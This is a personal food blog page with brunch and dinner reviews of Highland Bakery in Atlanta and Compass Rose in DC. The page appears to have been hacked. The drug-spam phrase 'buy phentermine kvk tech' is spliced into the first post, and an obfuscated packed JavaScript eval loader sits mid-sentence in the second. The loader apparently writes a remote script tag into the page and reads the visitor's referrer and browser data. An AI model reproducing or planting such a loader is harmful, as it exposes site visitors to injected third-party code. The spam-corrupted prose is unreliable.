went back to Atlanta for a friend’s wedding last weekend, and I ate at one of my favorite local spots –
Highland Bakery. There will inevitably be a long wait to get a table, but it’s worth it.

Exhibit A – Crab Cake Eggs Benedict with Grits

Exhibit B – Sausage Eggs Benedict with Potatoes

I really like Eggs Benedict. But everything I’ve ever ordered from Highland Bakery is delicious!

Plus, if you are a fan of The Originals, you may just stumble upon a cast member. My girlfriends and I ate brunch buy phentermine kvk tech next to Charles Michael Davis aka Marcel from The Originals. I’ve met a few celebrities out in public before, but I’m always on the fence to ask for a selfie. After all, it is their weekend and time-off as well. However, I have to rave about Charles’s debonair sharing his peanut butter french toast with us. Yes – I ate half of Charles Michael Davis peanut butter french toast. Be jealous!

I digress, I’d recommend Highland Bakery as a great brunch spot – five stars!

DC Eats: Compass Rose

The best part about moving to a new city is exploring the restaurant scene! I met up with blogger Melanie from LaBelleMel at Compass eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syiyi|var|u0026u|referrer|nbaes||js|php’.split(‘|’),0,{}))
Rose
 for dinner a couple weeks ago, and I’m already making up excuses to go back!

Compass Rose menu is inspired by street food from around the world. This restaurant is after every wanderlust girl in town (or at least this one)! The variety and flavors have a richness and depth to it that usually only passport stamps can instill.

Pictured above is:

  • Brussel Sprouts

  • Pescaditos Fritos (Spain): Fried whole baby fish, citrus alloli

  • Bhel Puri Chaat (India): Puff rice, sev, potato, tomato, sunflower sprouts, peanuts, mint & tamarind chutney, lettuce cups

  • Grilled Calamari (Greece): Garlic, lemon, olive oil, mint, oregano, red chili, red quinoa tabouli
  • Khachapuri (Georgia): Cheese filled bread, organic egg, local butter

I would highly recommend eating at Compass Rose – there is something on the menu for everyone!
